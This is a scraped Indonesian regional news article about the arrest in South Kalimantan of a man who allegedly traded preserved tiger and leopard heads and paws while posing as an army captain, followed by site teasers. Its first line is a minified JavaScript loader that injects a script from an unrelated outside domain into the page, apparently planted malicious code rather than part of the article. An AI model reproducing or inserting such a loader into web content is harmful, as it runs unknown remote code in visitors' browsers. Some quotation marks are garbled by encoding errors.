(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Aparat gabungan dari SPORC (Satuan Polhut Reaksi Cepat) Brigade Kalawelt , POMAL LANAL Banjarmasin, Ditreskrimsus Polda KalTeng, BKSDA KalSel dan Polres Banjar, menangkap Sulisno (35), yang diduga menjual-belikan kepemilikan kepala harimau dan macan, Kamis (12/10). Barang tersebut sebelumnya diamankan oleh pihak Cargo Bandara Syamsuddin Noor.
Sulisno ditetapkan sebagai tersangka setelah melalui pemeriksaan intensif terhadap beberapa saksi saat operasi pengamanan tumbuhan dan Satwa Liar yang dilindungi Undang-Undang. Dia dijerat pasal 21 ayat (2) huruf (d) Jo. Pasal 40 ayat (2) Undang-Undang RI Nomor 5 Tahun 1990 tentang konservasi Sumber Daya Alam Hayati dan Ekosistemnya dengan ancaman hukuman penjara paling lama 5 (lima) tahun dan denda paling banyak Rp. 100.000.000.
Sulisno rencananya dititipkan di Rumah Tahanan Negara Polres Banjar. Sementara barang bukti yang disita berupa 1 (satu) buah kepala harimau yang diawetkan, 1 (satu) buah kepala macan yang diawetkan, 2 (dua) buah telapak kaki macan yang diawetkan.
“Barang bukti tersebut saat ini diamankan di kantor BPPHLHK Seksi Wilayah 1 Palangkaraya,â€Â
demikian sebagaimana tertuang dalam pers reales yang diterbitkan Balai Pengamanan dan Penegakan Hukum Lingkungan Hidup dan Kehutanan, Kalsel.
Kasus ini bermula dari adanya laporan pihak cargo bandara Syamsuddin Noor yang telah melakukan pemeriksaan dengan alat X-Ray terhadap satu buah paket yang diduga berisi bagian-bagian satwa yang dilindungi. Hasil Pemeriksaan X-Ray tersebut ditemukan bagian-bagian satwa yang dilindungi yang sudah diawetkan dan selanjutnya pihak security X-Ray Cargo Bandara melaporkan ke petugas Polisi Kehutanan Bandara Syamsuddin Noor, kemudian diserahkan ke balai KSDA Kalimantan Selatan dan Balai PPHLHK Wilayah Kalimantan.
Uniknya, dalam pengiriman paket itu pelaku mengatasnamakan sebagai Kapten TNI Sulisno M.Si. Terkait pencantuman identitas Kapten TNI tersebut, tersangka mengaku untuk memperlancar pengiriminan.“Biar terlihat dan dianggap punya orang penting,†kata tersangka Sulisno.
Terkait hal ini, Balai PPHLHK membentuk tim gabungan yang terdiri dari SPORC, Brigade Kalawelt, POMAL LANAL Banjarmasin,Ditrskrimsus POLDA Kalteng, BKSDA KalSel dan Polres Banjar. Setelah dilakukan pemeriksaan oleh Tim, ternyata tersangka mengaku sengaja menggunakan jabatan kapten TNI untuk mengamankan barang barang tersebut sampai ke tujuan.“Sedangkan M.Si hanya gelar tambahan biar dianggap orang penting.â€Â
Saat ini PPNS SPORC masih terus mendalami terhadap kasus ini untuk dapat mengungkapkan keterlibatan pihak lain yang merupakan jaringan peniagaan dan perdagangan satwa liar yang dilindungi Undang-Undang.(Achmad Zubair)
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
This website uses cookies.